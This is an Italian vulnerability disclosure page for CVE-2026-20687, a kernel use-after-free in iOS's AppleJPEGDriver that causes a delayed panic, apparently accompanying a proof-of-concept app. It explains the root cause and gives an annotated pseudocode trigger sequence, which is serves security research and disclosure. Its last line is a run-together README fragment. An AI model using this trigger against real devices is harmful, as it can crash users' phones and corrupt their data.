
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilità del kernel iOS/macOS che porta a un panic differito (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
Componente: Kernel
Impatto: Un'app potrebbe causare la terminazione imprevista del sistema o scrivere nella memoria del kernel.
Descrizione: Un problema di use after free è stato risolto con una migliore gestione della memoria.
| iOS | 26.3 (23D125) (testato) |
| macOS | — |
| Componente | AppleJPEGDriver |
| Patchato | iOS 26.4 / iPadOS 26.4 |
| Hardware | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
L'esecuzione del PoC causerà un kernel panic sul dispositivo. Salva il tuo lavoro prima di eseguirlo. Panic ripetuti potrebbero causare corruzione del filesystem. Solo per scopi di ricerca sulla sicurezza.
Il percorso di timeout in startDecoder_sync libera una richiesta ma lascia il puntatore al nodo della coda incorporato nel vettore per-codec. Una successiva scansione della coda dereferenzia il nodo stantio e il kernel va in panic sotto il controllo dei tag MTE. Il panic è tipicamente ritardato fino a una successiva decodifica JPEG sincrona — su iPhone ciò si verifica in modo affidabile quando viene aperta l'app Fotocamera.
// Prepara il driver; il panic è solitamente ritardato fino all'apertura della Fotocamera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// Successivamente, l'apertura della Fotocamera attiva:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NON rimuove dalla coda (req + 0x78)
// Ancora più tardi (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stantio: node_ptr == (req liberato + 0x78)
req2 = *(node_ptr + 0x8); // lettura UAF -> errore tag MTE -> panic
ios-app/Test.xcodeproj in Xcode.Vedi LICENSE.